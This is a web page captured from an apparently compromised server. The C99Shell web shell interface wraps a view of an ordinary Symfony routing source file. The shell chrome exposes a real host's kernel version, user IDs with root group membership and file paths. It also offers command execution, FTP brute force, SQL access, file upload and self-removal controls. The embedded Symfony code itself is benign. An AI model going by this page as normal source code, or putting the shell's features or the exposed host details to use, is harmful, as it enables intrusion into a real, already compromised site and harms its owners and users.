!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gateway.picotech.app/public_html/vendor/symfony/routing/Generator/Dumper/   drwxr-xr-x
Free 28.54 GB of 117.98 GB (24.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CompiledUrlGeneratorDumper.php (3.89 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Routing\Generator\Dumper;

use 
Symfony\Component\Routing\Exception\RouteCircularReferenceException;
use 
Symfony\Component\Routing\Exception\RouteNotFoundException;
use 
Symfony\Component\Routing\Matcher\Dumper\CompiledUrlMatcherDumper;

/**
 * CompiledUrlGeneratorDumper creates a PHP array to be used with CompiledUrlGenerator.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 * @author Tobias Schultze <http://tobion.de>
 * @author Nicolas Grekas <p@tchwork.com>
 */
class CompiledUrlGeneratorDumper extends GeneratorDumper
{
    public function 
getCompiledRoutes(): array
    {
        
$compiledRoutes = [];
        foreach (
$this->getRoutes()->all() as $name => $route) {
            
$compiledRoute $route->compile();

            
$compiledRoutes[$name] = [
                
$compiledRoute->getVariables(),
                
$route->getDefaults(),
                
$route->getRequirements(),
                
$compiledRoute->getTokens(),
                
$compiledRoute->getHostTokens(),
                
$route->getSchemes(),
                [],
            ];
        }

        return 
$compiledRoutes;
    }

    public function 
getCompiledAliases(): array
    {
        
$routes $this->getRoutes();
        
$compiledAliases = [];
        foreach (
$routes->getAliases() as $name => $alias) {
            
$deprecations $alias->isDeprecated() ? [$alias->getDeprecation($name)] : [];
            
$currentId $alias->getId();
            
$visited = [];
            while (
null !== $alias $routes->getAlias($currentId) ?? null) {
                if (
false !== $searchKey array_search($currentId$visited)) {
                    
$visited[] = $currentId;

                    throw new 
RouteCircularReferenceException($currentId\array_slice($visited$searchKey));
                }

                if (
$alias->isDeprecated()) {
                    
$deprecations[] = $deprecation $alias->getDeprecation($currentId);
                    
trigger_deprecation($deprecation['package'], $deprecation['version'], $deprecation['message']);
                }

                
$visited[] = $currentId;
                
$currentId $alias->getId();
            }

            if (
null === $target $routes->get($currentId)) {
                throw new 
RouteNotFoundException(sprintf('Target route "%s" for alias "%s" does not exist.'$currentId$name));
            }

            
$compiledTarget $target->compile();

            
$compiledAliases[$name] = [
                
$compiledTarget->getVariables(),
                
$target->getDefaults(),
                
$target->getRequirements(),
                
$compiledTarget->getTokens(),
                
$compiledTarget->getHostTokens(),
                
$target->getSchemes(),
                
$deprecations,
            ];
        }

        return 
$compiledAliases;
    }

    
/**
     * {@inheritdoc}
     */
    
public function dump(array $options = [])
    {
        return <<<EOF
<?php

// This file has been auto-generated by the Symfony Routing Component.

return [
{$this->generateDeclaredRoutes()}
];

EOF;
    }

    
/**
     * Generates PHP code representing an array of defined routes
     * together with the routes properties (e.g. requirements).
     */
    
private function generateDeclaredRoutes(): string
    
{
        
$routes '';
        foreach (
$this->getCompiledRoutes() as $name => $properties) {
            
$routes .= sprintf("\n    '%s' => %s,"$nameCompiledUrlMatcherDumper::export($properties));
        }

        foreach (
$this->getCompiledAliases() as $alias => $properties) {
            
$routes .= sprintf("\n    '%s' => %s,"$aliasCompiledUrlMatcherDumper::export($properties));
        }

        return 
$routes;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--